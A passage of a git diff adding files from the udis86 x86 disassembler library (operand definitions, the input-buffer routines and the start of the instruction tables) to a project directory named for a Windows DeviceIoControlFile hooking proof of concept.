) >> 6 ) +#define SIB_I(b) ( ( ( b ) >> 3 ) & 7 ) +#define SIB_B(b) ( ( b ) & 7 ) + +/* modrm bits */ +#define MODRM_REG(b) ( ( ( b ) >> 3 ) & 7 ) +#define MODRM_NNN(b) ( ( ( b ) >> 3 ) & 7 ) +#define MODRM_MOD(b) ( ( ( b ) >> 6 ) & 3 ) +#define MODRM_RM(b) ( ( b ) & 7 ) + +/* operand type constants -- order is important! */ + +enum ud_operand_code { + OP_NONE, + + OP_A, OP_E, OP_M, OP_G, + OP_I, + + OP_AL, OP_CL, OP_DL, OP_BL, + OP_AH, OP_CH, OP_DH, OP_BH, + + OP_ALr8b, OP_CLr9b, OP_DLr10b, OP_BLr11b, + OP_AHr12b, OP_CHr13b, OP_DHr14b, OP_BHr15b, + + OP_AX, OP_CX, OP_DX, OP_BX, + OP_SI, OP_DI, OP_SP, OP_BP, + + OP_rAX, OP_rCX, OP_rDX, OP_rBX, + OP_rSP, OP_rBP, OP_rSI, OP_rDI, + + OP_rAXr8, OP_rCXr9, OP_rDXr10, OP_rBXr11, + OP_rSPr12, OP_rBPr13, OP_rSIr14, OP_rDIr15, + + OP_eAX, OP_eCX, OP_eDX, OP_eBX, + OP_eSP, OP_eBP, OP_eSI, OP_eDI, + + OP_ES, OP_CS, OP_SS, OP_DS, + OP_FS, OP_GS, + + OP_ST0, OP_ST1, OP_ST2, OP_ST3, + OP_ST4, OP_ST5, OP_ST6, OP_ST7, + + OP_J, OP_S, OP_O, + OP_I1, OP_I3, + + OP_V, OP_W, OP_Q, OP_P, + + OP_R, OP_C, OP_D, OP_VR, OP_PR +}; + + +/* operand size constants */ + +enum ud_operand_size { + SZ_NA = 0, + SZ_Z = 1, + SZ_V = 2, + SZ_P = 3, + SZ_WP = 4, + SZ_DP = 5, + SZ_MDQ = 6, + SZ_RDQ = 7, + + /* the following values are used as is, + * and thus hard-coded. changing them + * will break internals + */ + SZ_B = 8, + SZ_W = 16, + SZ_D = 32, + SZ_Q = 64, + SZ_T = 80, +}; + +/* itab entry operand definitions */ + +#define O_rSPr12 { OP_rSPr12, SZ_NA } +#define O_BL { OP_BL, SZ_NA } +#define O_BH { OP_BH, SZ_NA } +#define O_BP { OP_BP, SZ_NA } +#define O_AHr12b { OP_AHr12b, SZ_NA } +#define O_BX { OP_BX, SZ_NA } +#define O_Jz { OP_J, SZ_Z } +#define O_Jv { OP_J, SZ_V } +#define O_Jb { OP_J, SZ_B } +#define O_rSIr14 { OP_rSIr14, SZ_NA } +#define O_GS { OP_GS, SZ_NA } +#define O_D { OP_D, SZ_NA } +#define O_rBPr13 { OP_rBPr13, SZ_NA } +#define O_Ob { OP_O, SZ_B } +#define O_P { OP_P, SZ_NA } +#define O_Ow { OP_O, SZ_W } +#define O_Ov { OP_O, SZ_V } +#define O_Gw { OP_G, SZ_W } +#define O_Gv { OP_G, SZ_V } +#define O_rDX { OP_rDX, SZ_NA } +#define O_Gx { OP_G, SZ_MDQ } +#define O_Gd { OP_G, SZ_D } +#define O_Gb { OP_G, SZ_B } +#define O_rBXr11 { OP_rBXr11, SZ_NA } +#define O_rDI { OP_rDI, SZ_NA } +#define O_rSI { OP_rSI, SZ_NA } +#define O_ALr8b { OP_ALr8b, SZ_NA } +#define O_eDI { OP_eDI, SZ_NA } +#define O_Gz { OP_G, SZ_Z } +#define O_eDX { OP_eDX, SZ_NA } +#define O_DHr14b { OP_DHr14b, SZ_NA } +#define O_rSP { OP_rSP, SZ_NA } +#define O_PR { OP_PR, SZ_NA } +#define O_NONE { OP_NONE, SZ_NA } +#define O_rCX { OP_rCX, SZ_NA } +#define O_jWP { OP_J, SZ_WP } +#define O_rDXr10 { OP_rDXr10, SZ_NA } +#define O_Md { OP_M, SZ_D } +#define O_C { OP_C, SZ_NA } +#define O_G { OP_G, SZ_NA } +#define O_Mb { OP_M, SZ_B } +#define O_Mt { OP_M, SZ_T } +#define O_S { OP_S, SZ_NA } +#define O_Mq { OP_M, SZ_Q } +#define O_W { OP_W, SZ_NA } +#define O_ES { OP_ES, SZ_NA } +#define O_rBX { OP_rBX, SZ_NA } +#define O_Ed { OP_E, SZ_D } +#define O_DLr10b { OP_DLr10b, SZ_NA } +#define O_Mw { OP_M, SZ_W } +#define O_Eb { OP_E, SZ_B } +#define O_Ex { OP_E, SZ_MDQ } +#define O_Ez { OP_E, SZ_Z } +#define O_Ew { OP_E, SZ_W } +#define O_Ev { OP_E, SZ_V } +#define O_Ep { OP_E, SZ_P } +#define O_FS { OP_FS, SZ_NA } +#define O_Ms { OP_M, SZ_W } +#define O_rAXr8 { OP_rAXr8, SZ_NA } +#define O_eBP { OP_eBP, SZ_NA } +#define O_Isb { OP_I, SZ_SB } +#define O_eBX { OP_eBX, SZ_NA } +#define O_rCXr9 { OP_rCXr9, SZ_NA } +#define O_jDP { OP_J, SZ_DP } +#define O_CH { OP_CH, SZ_NA } +#define O_CL { OP_CL, SZ_NA } +#define O_R { OP_R, SZ_RDQ } +#define O_V { OP_V, SZ_NA } +#define O_CS { OP_CS, SZ_NA } +#define O_CHr13b { OP_CHr13b, SZ_NA } +#define O_eCX { OP_eCX, SZ_NA } +#define O_eSP { OP_eSP, SZ_NA } +#define O_SS { OP_SS, SZ_NA } +#define O_SP { OP_SP, SZ_NA } +#define O_BLr11b { OP_BLr11b, SZ_NA } +#define O_SI { OP_SI, SZ_NA } +#define O_eSI { OP_eSI, SZ_NA } +#define O_DL { OP_DL, SZ_NA } +#define O_DH { OP_DH, SZ_NA } +#define O_DI { OP_DI, SZ_NA } +#define O_DX { OP_DX, SZ_NA } +#define O_rBP { OP_rBP, SZ_NA } +#define O_Gvw { OP_G, SZ_MDQ } +#define O_I1 { OP_I1, SZ_NA } +#define O_I3 { OP_I3, SZ_NA } +#define O_DS { OP_DS, SZ_NA } +#define O_ST4 { OP_ST4, SZ_NA } +#define O_ST5 { OP_ST5, SZ_NA } +#define O_ST6 { OP_ST6, SZ_NA } +#define O_ST7 { OP_ST7, SZ_NA } +#define O_ST0 { OP_ST0, SZ_NA } +#define O_ST1 { OP_ST1, SZ_NA } +#define O_ST2 { OP_ST2, SZ_NA } +#define O_ST3 { OP_ST3, SZ_NA } +#define O_E { OP_E, SZ_NA } +#define O_AH { OP_AH, SZ_NA } +#define O_M { OP_M, SZ_NA } +#define O_AL { OP_AL, SZ_NA } +#define O_CLr9b { OP_CLr9b, SZ_NA } +#define O_Q { OP_Q, SZ_NA } +#define O_eAX { OP_eAX, SZ_NA } +#define O_VR { OP_VR, SZ_NA } +#define O_AX { OP_AX, SZ_NA } +#define O_rAX { OP_rAX, SZ_NA } +#define O_Iz { OP_I, SZ_Z } +#define O_rDIr15 { OP_rDIr15, SZ_NA } +#define O_Iw { OP_I, SZ_W } +#define O_Iv { OP_I, SZ_V } +#define O_Ap { OP_A, SZ_P } +#define O_CX { OP_CX, SZ_NA } +#define O_Ib { OP_I, SZ_B } +#define O_BHr15b { OP_BHr15b, SZ_NA } + + +/* A single operand of an entry in the instruction table. + * (internal use only) + */ +struct ud_itab_entry_operand +{ + enum ud_operand_code type; + enum ud_operand_size size; +}; + + +/* A single entry in an instruction table. + *(internal use only) + */ +struct ud_itab_entry +{ + enum ud_mnemonic_code mnemonic; + struct ud_itab_entry_operand operand1; + struct ud_itab_entry_operand operand2; + struct ud_itab_entry_operand operand3; + uint32_t prefix; +}; + +extern const char * ud_lookup_mnemonic( enum ud_mnemonic_code c ); + +#endif /* UD_DECODE_H */ + +/* vim:cindent + * vim:expandtab + * vim:ts=4 + * vim:sw=4 + */ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/extern.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/extern.h new file mode 100644 index 00000000..c33baf5e --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/extern.h @@ -0,0 +1,67 @@ +/* ----------------------------------------------------------------------------- + * extern.h + * + * Copyright (c) 2004, 2005, 2006, Vivek Mohan + * All rights reserved. See LICENSE + * ----------------------------------------------------------------------------- + */ +#ifndef UD_EXTERN_H +#define UD_EXTERN_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include "types.h" + +/* ============================= PUBLIC API ================================= */ + +extern void ud_init(struct ud*); + +extern void ud_set_mode(struct ud*, uint8_t); + +extern void ud_set_pc(struct ud*, uint64_t); + +extern void ud_set_input_hook(struct ud*, int (*)(struct ud*)); + +extern void ud_set_input_buffer(struct ud*, uint8_t*, size_t); + +#ifndef __UD_STANDALONE__ +extern void ud_set_input_file(struct ud*, FILE*); +#endif /* __UD_STANDALONE__ */ + +extern void ud_set_vendor(struct ud*, unsigned); + +extern void ud_set_syntax(struct ud*, void (*)(struct ud*)); + +extern void ud_input_skip(struct ud*, size_t); + +extern int ud_input_end(struct ud*); + +extern unsigned int ud_decode(struct ud*); + +extern unsigned int ud_disassemble(struct ud*); + +extern void ud_translate_intel(struct ud*); + +extern void ud_translate_att(struct ud*); + +extern char* ud_insn_asm(struct ud* u); + +extern uint8_t* ud_insn_ptr(struct ud* u); + +extern uint64_t ud_insn_off(struct ud*); + +extern char* ud_insn_hex(struct ud*); + +extern unsigned int ud_insn_len(struct ud* u); + +extern const char* ud_lookup_mnemonic(enum ud_mnemonic_code c); + +/* ========================================================================== */ + +#ifdef __cplusplus +} +#endif +#endif diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/input.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/input.c new file mode 100644 index 00000000..cab612b1 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/input.c @@ -0,0 +1,226 @@ +/* ----------------------------------------------------------------------------- + * input.c + * + * Copyright (c) 2004, 2005, 2006, Vivek Mohan + * All rights reserved. See LICENSE + * ----------------------------------------------------------------------------- + */ +#include "extern.h" +#include "types.h" +#include "input.h" + +/* ----------------------------------------------------------------------------- + * inp_buff_hook() - Hook for buffered inputs. + * ----------------------------------------------------------------------------- + */ +static int +inp_buff_hook(struct ud* u) +{ + if (u->inp_buff < u->inp_buff_end) + return *u->inp_buff++; + else return -1; +} + +#ifndef __UD_STANDALONE__ +/* ----------------------------------------------------------------------------- + * inp_file_hook() - Hook for FILE inputs. + * ----------------------------------------------------------------------------- + */ +static int +inp_file_hook(struct ud* u) +{ + return fgetc(u->inp_file); +} +#endif /* __UD_STANDALONE__*/ + +/* ============================================================================= + * ud_inp_set_hook() - Sets input hook. + * ============================================================================= + */ +extern void +ud_set_input_hook(register struct ud* u, int (*hook)(struct ud*)) +{ + u->inp_hook = hook; + inp_init(u); +} + +/* ============================================================================= + * ud_inp_set_buffer() - Set buffer as input. + * ============================================================================= + */ +extern void +ud_set_input_buffer(register struct ud* u, uint8_t* buf, size_t len) +{ + u->inp_hook = inp_buff_hook; + u->inp_buff = buf; + u->inp_buff_end = buf + len; + inp_init(u); +} + +#ifndef __UD_STANDALONE__ +/* ============================================================================= + * ud_input_set_file() - Set buffer as input. + * ============================================================================= + */ +extern void +ud_set_input_file(register struct ud* u, FILE* f) +{ + u->inp_hook = inp_file_hook; + u->inp_file = f; + inp_init(u); +} +#endif /* __UD_STANDALONE__ */ + +/* ============================================================================= + * ud_input_skip() - Skip n input bytes. + * ============================================================================= + */ +extern void +ud_input_skip(struct ud* u, size_t n) +{ + while (n--) { + u->inp_hook(u); + } +} + +/* ============================================================================= + * ud_input_end() - Test for end of input. + * ============================================================================= + */ +extern int +ud_input_end(struct ud* u) +{ + return (u->inp_curr == u->inp_fill) && u->inp_end; +} + +/* ----------------------------------------------------------------------------- + * inp_next() - Loads and returns the next byte from input. + * + * inp_curr and inp_fill are pointers to the cache. The program is written based + * on the property that they are 8-bits in size, and will eventually wrap around + * forming a circular buffer. So, the size of the cache is 256 in size, kind of + * unnecessary yet optimized. + * + * A buffer inp_sess stores the bytes disassembled for a single session. + * ----------------------------------------------------------------------------- + */ +extern uint8_t inp_next(struct ud* u) +{ + int c = -1; + /* if current pointer is not upto the fill point in the + * input cache. + */ + if ( u->inp_curr != u->inp_fill ) { + c = u->inp_cache[ ++u->inp_curr ]; + /* if !end-of-input, call the input hook and get a byte */ + } else if ( u->inp_end || ( c = u->inp_hook( u ) ) == -1 ) { + /* end-of-input, mark it as an error, since the decoder, + * expected a byte more. + */ + u->error = 1; + /* flag end of input */ + u->inp_end = 1; + return 0; + } else { + /* increment pointers, we have a new byte. */ + u->inp_curr = ++u->inp_fill; + /* add the byte to the cache */ + u->inp_cache[ u->inp_fill ] = c; + } + /* record bytes input per decode-session. */ + u->inp_sess[ u->inp_ctr++ ] = c; + /* return byte */ + return ( uint8_t ) c; +} + +/* ----------------------------------------------------------------------------- + * inp_back() - Move back a single byte in the stream. + * ----------------------------------------------------------------------------- + */ +extern void +inp_back(struct ud* u) +{ + if ( u->inp_ctr > 0 ) { + --u->inp_curr; + --u->inp_ctr; + } +} + +/* ----------------------------------------------------------------------------- + * inp_peek() - Peek into the next byte in source. + * ----------------------------------------------------------------------------- + */ +extern uint8_t +inp_peek(struct ud* u) +{ + uint8_t r = inp_next(u); + if ( !u->error ) inp_back(u); /* Don't backup if there was an error */ + return r; +} + +/* ----------------------------------------------------------------------------- + * inp_move() - Move ahead n input bytes. + * ----------------------------------------------------------------------------- + */ +extern void +inp_move(struct ud* u, size_t n) +{ + while (n--) + inp_next(u); +} + +/*------------------------------------------------------------------------------ + * inp_uintN() - return uintN from source. + *------------------------------------------------------------------------------ + */ +extern uint8_t +inp_uint8(struct ud* u) +{ + return inp_next(u); +} + +extern uint16_t +inp_uint16(struct ud* u) +{ + uint16_t r, ret; + + ret = inp_next(u); + r = inp_next(u); + return ret | (r << 8); +} + +extern uint32_t +inp_uint32(struct ud* u) +{ + uint32_t r, ret; + + ret = inp_next(u); + r = inp_next(u); + ret = ret | (r << 8); + r = inp_next(u); + ret = ret | (r << 16); + r = inp_next(u); + return ret | (r << 24); +} + +extern uint64_t +inp_uint64(struct ud* u) +{ + uint64_t r, ret; + + ret = inp_next(u); + r = inp_next(u); + ret = ret | (r << 8); + r = inp_next(u); + ret = ret | (r << 16); + r = inp_next(u); + ret = ret | (r << 24); + r = inp_next(u); + ret = ret | (r << 32); + r = inp_next(u); + ret = ret | (r << 40); + r = inp_next(u); + ret = ret | (r << 48); + r = inp_next(u); + return ret | (r << 56); +} diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/input.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/input.h new file mode 100644 index 00000000..217e768e --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/input.h @@ -0,0 +1,49 @@ +/* ----------------------------------------------------------------------------- + * input.h + * + * Copyright (c) 2006, Vivek Mohan + * All rights reserved. See LICENSE + * ----------------------------------------------------------------------------- + */ +#ifndef UD_INPUT_H +#define UD_INPUT_H + +#include "types.h" + +uint8_t inp_next(struct ud*); +uint8_t inp_peek(struct ud*); +uint8_t inp_uint8(struct ud*); +uint16_t inp_uint16(struct ud*); +uint32_t inp_uint32(struct ud*); +uint64_t inp_uint64(struct ud*); +void inp_move(struct ud*, size_t); +void inp_back(struct ud*); + +/* inp_init() - Initializes the input system. */ +#define inp_init(u) \ +do { \ + u->inp_curr = 0; \ + u->inp_fill = 0; \ + u->inp_ctr = 0; \ + u->inp_end = 0; \ +} while (0) + +/* inp_start() - Should be called before each de-code operation. */ +#define inp_start(u) u->inp_ctr = 0 + +/* inp_back() - Resets the current pointer to its position before the current + * instruction disassembly was started. + */ +#define inp_reset(u) \ +do { \ + u->inp_curr -= u->inp_ctr; \ + u->inp_ctr = 0; \ +} while (0) + +/* inp_sess() - Returns the pointer to current session. */ +#define inp_sess(u) (u->inp_sess) + +/* inp_cur() - Returns the current input byte. */ +#define inp_curr(u) ((u)->inp_cache[(u)->inp_curr]) + +#endif diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/itab.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/itab.c new file mode 100644 index 00000000..52dc5775 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/itab.c @@ -0,0 +1,3668 @@ + +/* itab.c -- auto generated by opgen.py, do not edit. */ + +#include "types.h" +#include "decode.h" +#include "itab.h" + +const char * ud_mnemonics_str[] = { + "3dnow", + "aaa", + "aad", + "aam", + "aas", + "adc", + "add", + "addpd", + "addps", + "addsd", + "addss", + "addsubpd", + "addsubps", + "and", + "andpd", + "andps", + "andnpd", + "andnps", + "arpl", + "movsxd", + "bound", + "bsf", + "bsr", + "bswap", + "bt", + "btc", + "btr", + "bts", + "call", + "cbw", + "cwde", + "cdqe", + "clc", + "cld", + "clflush", + "clgi", + "cli", + "clts", + "cmc", + "cmovo", + "cmovno", + "cmovb", + "cmovae", + "cmovz", + "cmovnz", + "cmovbe", + "cmova", + "cmovs", + "cmovns", + "cmovp", + "cmovnp", + "cmovl", + "cmovge", + "cmovle", + "cmovg", + "cmp", + "cmppd", + "cmpps", + "cmpsb", + "cmpsw", + "cmpsd", + "cmpsq", + "cmpss", + "cmpxchg", + "cmpxchg8b", + "comisd", + "comiss", + "cpuid", + "cvtdq2pd", + "cvtdq2ps", + "cvtpd2dq", + "cvtpd2pi", + "cvtpd2ps", + "cvtpi2ps", + "cvtpi2pd", + "cvtps2dq", + "cvtps2pi", + "cvtps2pd", + "cvtsd2si", + "cvtsd2ss", + "cvtsi2ss", + "cvtss2si", + "cvtss2sd", + "cvttpd2pi", + "cvttpd2dq", + "cvttps2dq", + "cvttps2pi", + "cvttsd2si", + "cvtsi2sd", + "cvttss2si", + "cwd", + "cdq", + "cqo", + "daa", + "das", + "dec", + "div", + "divpd", + "divps", + "divsd", + "divss", + "emms", + "enter", + "f2xm1", + "fabs", + "fadd", + "faddp", + "fbld", + "fbstp", + "fchs", + "fclex", + "fcmovb", + "fcmove", + "fcmovbe", + "fcmovu", + "fcmovnb", + "fcmovne", + "fcmovnbe", + "fcmovnu", + "fucomi", + "fcom", + "fcom2", + "fcomp3", + "fcomi", + "fucomip", + "fcomip", + "fcomp", + "fcomp5", + "fcompp", + "fcos", + "fdecstp", + "fdiv", + "fdivp", + "fdivr", + "fdivrp", + "femms", + "ffree", + "ffreep", + "ficom", + "ficomp", + "fild", + "fncstp", + "fninit", + "fiadd", + "fidivr", + "fidiv", + "fisub", + "fisubr", + "fist", + "fistp", + "fisttp", + "fld", + "fld1", + "fldl2t", + "fldl2e", + "fldlpi", + "fldlg2", + "fldln2", + "fldz", + "fldcw", + "fldenv", + "fmul", + "fmulp", + "fimul", + "fnop", + "fpatan", + "fprem", + "fprem1", + "fptan", + "frndint", + "frstor", + "fnsave", + "fscale", + "fsin", + "fsincos", + "fsqrt", + "fstp", + "fstp1", + "fstp8", + "fstp9", + "fst", + "fnstcw", + "fnstenv", + "fnstsw", + "fsub", + "fsubp", + "fsubr", + "fsubrp", + "ftst", + "fucom", + "fucomp", + "fucompp", + "fxam", + "fxch", + "fxch4", + "fxch7", + "fxrstor", + "fxsave", + "fpxtract", + "fyl2x", + "fyl2xp1", + "haddpd", + "haddps", + "hlt", + "hsubpd", + "hsubps", + "idiv", + "in", + "imul", + "inc", + "insb", + "insw", + "insd", + "int1", + "int3", + "int", + "into", + "invd", + "invlpg", + "invlpga", + "iretw", + "iretd", + "iretq", + "jo", + "jno", + "jb", + "jae", + "jz", + "jnz", + "jbe", + "ja", + "js", + "jns", + "jp", + "jnp", + "jl", + "jge", + "jle", + "jg", + "jcxz", + "jecxz", + "jrcxz", + "jmp", + "lahf", + "lar", + "lddqu", + "ldmxcsr", + "lds", + "lea", + "les", + "lfs", + "lgs", + "lidt", + "lss", + "leave", + "lfence", + "lgdt", + "lldt", + "lmsw", + "lock", + "lodsb", + "lodsw", + "lodsd", + "lodsq", + "loopnz", + "loope", + "loop", + "lsl", + "ltr", + "maskmovq", + "maxpd", + "maxps", + "maxsd", + "maxss", + "mfence", + "minpd", + "minps", + "minsd", + "minss", + "monitor", + "mov", + "movapd", + "movaps", + "movd", + "movddup", + "movdqa", + "movdqu", + "movdq2q", + "movhpd", + "movhps", + "movlhps", + "movlpd", + "movlps", + "movhlps", + "movmskpd", + "movmskps", + "movntdq", + "movnti", + "movntpd", + "movntps", + "movntq", + "movq", + "movqa", + "movq2dq", + "movsb", + "movsw", + "movsd", + "movsq", + "movsldup", + "movshdup", + "movss", + "movsx", + "movupd", + "movups", + "movzx", + "mul", + "mulpd", + "mulps", + "mulsd", + "mulss", + "mwait", + "neg", + "nop", + "not", + "or", + "orpd", + "orps", + "out", + "outsb", + "outsw", + "outsd", + "outsq", + "packsswb", + "packssdw", + "packuswb", + "paddb", + "paddw", + "paddq", + "paddsb", + "paddsw", + "paddusb", + "paddusw", + "pand", + "pandn", + "pause", + "pavgb", + "pavgw", + "pcmpeqb", + "pcmpeqw", + "pcmpeqd", + "pcmpgtb", + "pcmpgtw", + "pcmpgtd", + "pextrw", + "pinsrw", + "pmaddwd", + "pmaxsw", + "pmaxub", + "pminsw", + "pminub", + "pmovmskb", + "pmulhuw", + "pmulhw", + "pmullw", + "pmuludq", + "pop", + "popa", + "popad", + "popfw", + "popfd", + "popfq", + "por", + "prefetch", + "prefetchnta", + "prefetcht0", + "prefetcht1", + "prefetcht2", + "psadbw", + "pshufd", + "pshufhw", + "pshuflw", + "pshufw", + "pslldq", + "psllw", + "pslld", + "psllq", + "psraw", + "psrad", + "psrlw", + "psrld", + "psrlq", + "psrldq", + "psubb", + "psubw", + "psubd", + "psubq", + "psubsb", + "psubsw", + "psubusb", + "psubusw", + "punpckhbw", + "punpckhwd", + "punpckhdq", + "punpckhqdq", + "punpcklbw", + "punpcklwd", + "punpckldq", + "punpcklqdq", + "pi2fw", + "pi2fd", + "pf2iw", + "pf2id", + "pfnacc", + "pfpnacc", + "pfcmpge", + "pfmin", + "pfrcp", + "pfrsqrt", + "pfsub", + "pfadd", + "pfcmpgt", + "pfmax", + "pfrcpit1", + "pfrspit1", + "pfsubr", + "pfacc", + "pfcmpeq", + "pfmul", + "pfrcpit2", + "pmulhrw", + "pswapd", + "pavgusb", + "push", + "pusha", + "pushad", + "pushfw", + "pushfd", + "pushfq", + "pxor", + "rcl", + "rcr", + "rol", + "ror", + "rcpps", + "rcpss", + "rdmsr", + "rdpmc", + "rdtsc", + "rdtscp", + "repne", + "rep", + "ret", + "retf", + "rsm", + "rsqrtps", + "rsqrtss", + "sahf", + "sal", + "salc", + "sar", + "shl", + "shr", + "sbb", + "scasb", + "scasw", + "scasd", + "scasq", + "seto", + "setno", + "setb", + "setnb", + "setz", + "setnz", + "setbe", + "seta", + "sets", + "setns", + "setp", + "setnp", + "setl", + "setge", + "setle", + "setg", + "sfence", + "sgdt", + "shld", + "shrd", + "shufpd", + "shufps", + "sidt", + "sldt", + "smsw", + "sqrtps", + "sqrtpd", + "sqrtsd", + "sqrtss", + "stc", + "std", + "stgi", + "sti", + "skinit", + "stmxcsr", + "stosb", + "stosw", + "stosd", + "stosq", + "str", + "sub", + "subpd", + "subps", + "subsd", + "subss", + "swapgs", + "syscall", + "sysenter", + "sysexit", + "sysret", + "test", + "ucomisd", + "ucomiss", + "ud2", + "unpckhpd", + "unpckhps", + "unpcklps", + "unpcklpd", + "verr", + "verw", + "vmcall", + "vmclear", + "vmxon", + "vmptrld", + "vmptrst", + "vmresume", + "vmxoff", + "vmrun", + "vmmcall", + "vmload", + "vmsave", + "wait", + "wbinvd", + "wrmsr", + "xadd", + "xchg", + "xlatb", + "xor", + "xorpd", + "xorps", + "db", + "invalid", +}; + + + +static struct ud_itab_entry itab__0f[256] = { + /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_00__REG }, + /* 01 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG }, + /* 02 */ { UD_Ilar, O_Gv, O_Ew, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ilsl, O_Gv, O_Ew, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Isyscall, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iclts, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Isysret, O_NONE, O_NONE, O_NONE, P_none }, + /* 08 */ { UD_Iinvd, O_NONE, O_NONE, O_NONE, P_none }, + /* 09 */ { UD_Iwbinvd, O_NONE, O_NONE, O_NONE, P_none }, + /* 0A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0B */ { UD_Iud2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0D */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_0D__REG }, + /* 0E */ { UD_Ifemms, O_NONE, O_NONE, O_NONE, P_none }, + /* 0F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 10 */ { UD_Imovups, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 11 */ { UD_Imovups, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 12 */ { UD_Imovlps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 13 */ { UD_Imovlps, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 14 */ { UD_Iunpcklps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 15 */ { UD_Iunpckhps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 16 */ { UD_Imovhps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 17 */ { UD_Imovhps, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 18 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_18__REG }, + /* 19 */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1A */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1B */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1C */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1D */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1E */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1F */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 20 */ { UD_Imov, O_R, O_C, O_NONE, P_rexr }, + /* 21 */ { UD_Imov, O_R, O_D, O_NONE, P_rexr }, + /* 22 */ { UD_Imov, O_C, O_R, O_NONE, P_rexr }, + /* 23 */ { UD_Imov, O_D, O_R, O_NONE, P_rexr }, + /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 28 */ { UD_Imovaps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 29 */ { UD_Imovaps, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 2A */ { UD_Icvtpi2ps, O_V, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 2B */ { UD_Imovntps, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 2C */ { UD_Icvttps2pi, O_P, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 2D */ { UD_Icvtps2pi, O_P, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 2E */ { UD_Iucomiss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 2F */ { UD_Icomiss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 30 */ { UD_Iwrmsr, O_NONE, O_NONE, O_NONE, P_none }, + /* 31 */ { UD_Irdtsc, O_NONE, O_NONE, O_NONE, P_none }, + /* 32 */ { UD_Irdmsr, O_NONE, O_NONE, O_NONE, P_none }, + /* 33 */ { UD_Irdpmc, O_NONE, O_NONE, O_NONE, P_none }, + /* 34 */ { UD_Isysenter, O_NONE, O_NONE, O_NONE, P_inv64|P_none }, + /* 35 */ { UD_Isysexit, O_NONE, O_NONE, 